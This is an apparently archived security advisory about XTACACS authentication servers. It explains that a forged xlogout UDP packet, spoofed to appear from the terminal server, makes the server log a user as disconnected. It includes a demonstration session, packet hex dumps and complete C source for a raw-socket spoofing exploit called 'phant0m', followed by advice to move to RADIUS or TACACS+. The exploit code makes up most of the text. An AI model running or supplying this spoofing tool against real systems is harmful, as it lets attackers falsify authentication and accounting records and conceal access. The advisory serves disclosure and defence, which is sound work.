COMMAND

    XTACACS

SYSTEMS AFFECTED

    Systems running XTACACS auth server

PROBLEM

    Coaxial Karma found following.  He recently discovered that when a
    Terminal Server (TS) was using XTACACS as authentication protocol,
    it was possible  to make the  XTACACS server believes  that you've
    disconnected.  In order to exploit this, you only have to send  an
    xlogout request to the XTACACS server claiming to be from the  TS.
    Here is an example:

        koax# taclast | grep silger | head -1
        silger    tty16    ts.c-a.org    Thu Dec 10 10:02   still logged in
        koax# ./phant0m ts.c-a.org xtacacs.c-a.org 16
        koax# taclast | grep silger | head -1
        silger    tty16    ts.c-a.org    Thu Dec 10 10:02 - 10:03  (00:01) 72
        koax#

    The first packet is the one sent to XTACACS authentication  server
    and the second one is  the answer from the XTACACS  authentication
    server to the TS.

        10:03:24.000000 ts.c-a.org.49 > xtacacs.c-a.org.49: udp 56
                             4500 5400 3412 0000 ff11 6785 cee7 d20d
                             cee7 d202 3100 3100 4000 0000 8007 0000
                             0700 0004 0000 0000 0000 0000 0000 000f
                             0000 0000 0000 0000 0000 0000 0000 0000
                             0000 0000 0000 0000 0000 0000 0000 0000
                             0000 0000

        10:03:24.000000 xtacacs.c-a.org.49 > ts.c-a.org.49: udp 28
                             4500 3800 ce7c 0000 4011 bc07 cee7 d202
                             cee7 d20d 3100 3100 2400 bfe6 8002 0000
                             0700 0100 0000 0000 0000 0000 0000 000f
                             0000 0000 0000 0000

    Exploit follows:

    /************************************************************************
     *
     * phant0m v1.0 by Coaxial Karma, c_karma@hotmail.com
     * Modified version of arnudp.c v0.01 by Arny, cs6171@scitsc.wlv.ac.uk
     *
     ***********************************************************************/

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in_systm.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <errno.h>
    #include <string.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <stdio.h>

    struct sockaddr sa;

    main(int argc,char **argv)
    {
    int fd;
    int x=1;
    struct sockaddr_in *sin;
    struct hostent *he;
    u_char gram[84]=
            {
            /* IP Header */
            0x45,   0x00,   0x00,   0x26,
            0x12,   0x34,   0x00,   0x00,
            0xFF,   0x11,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,

            /* UDP Header */
            0x00,   0x31,   0x00,   0x31,
            0x00,   0x40,   0x00,   0x00,

            /* Data */
            0x80,   0x07,   0x00,   0x00,
            0x07,   0x00,   0x00,   0x04,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x05,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00,
            0x00,   0x00,   0x00,   0x00
            };

    if (argc != 4)
            {
            fprintf(stderr, "usage: %s SRC-IP DST-IP TTY\n", *argv);
            exit(1);
            };

    if ((he = gethostbyname(argv[1])) == NULL)
            {
            fprintf(stderr, "Can't resolve source hostname\n");
            exit(1);
            };
    bcopy(*(he->h_addr_list), (gram+12), 4);

    if ((he = gethostbyname(argv[2])) == NULL)
            {
            fprintf(stderr, "Can't resolve destination hostname\n");
            exit(1);
            };
    bcopy(*(he->h_addr_list), (gram+16), 4);

    *(u_short *) (gram + 46) = htons((u_short) atoi(argv[3]));

    sin = (struct sockaddr_in *) &sa;
    sin->sin_family = AF_INET;
    bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr));

    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
            {
            perror("socket");
            exit(1);
            };

    #ifdef IP_HDRINCL
    if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
            {
            perror("setsockopt IP_HDRINCL");
            exit(1);
            };
    #else
    fprintf(stderr, "We don't have IP_HDRINCL.\n\n");
    exit(1);
    #endif

    if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin,
    sizeof(struct sockaddr))) == -1)
            {
            perror("sendto");
            exit(1);
            };

    }

SOLUTION

    You  should  really  neither  use  the  old TACACS nor XTACACS but
    rather RADIUS or TACACS+:

        - they are available in free source code in C
        - they  protect/authenticate the  packets by  a shared  secret
          between   the   Access   Control   Server   and  the  Access
          Router/Firewall (Radius encrypts  only the password  so have
          less  confidentiality  that  TACACS+  which  encrypts almost
          everything)
        - Radius and TACACS+ are widely supported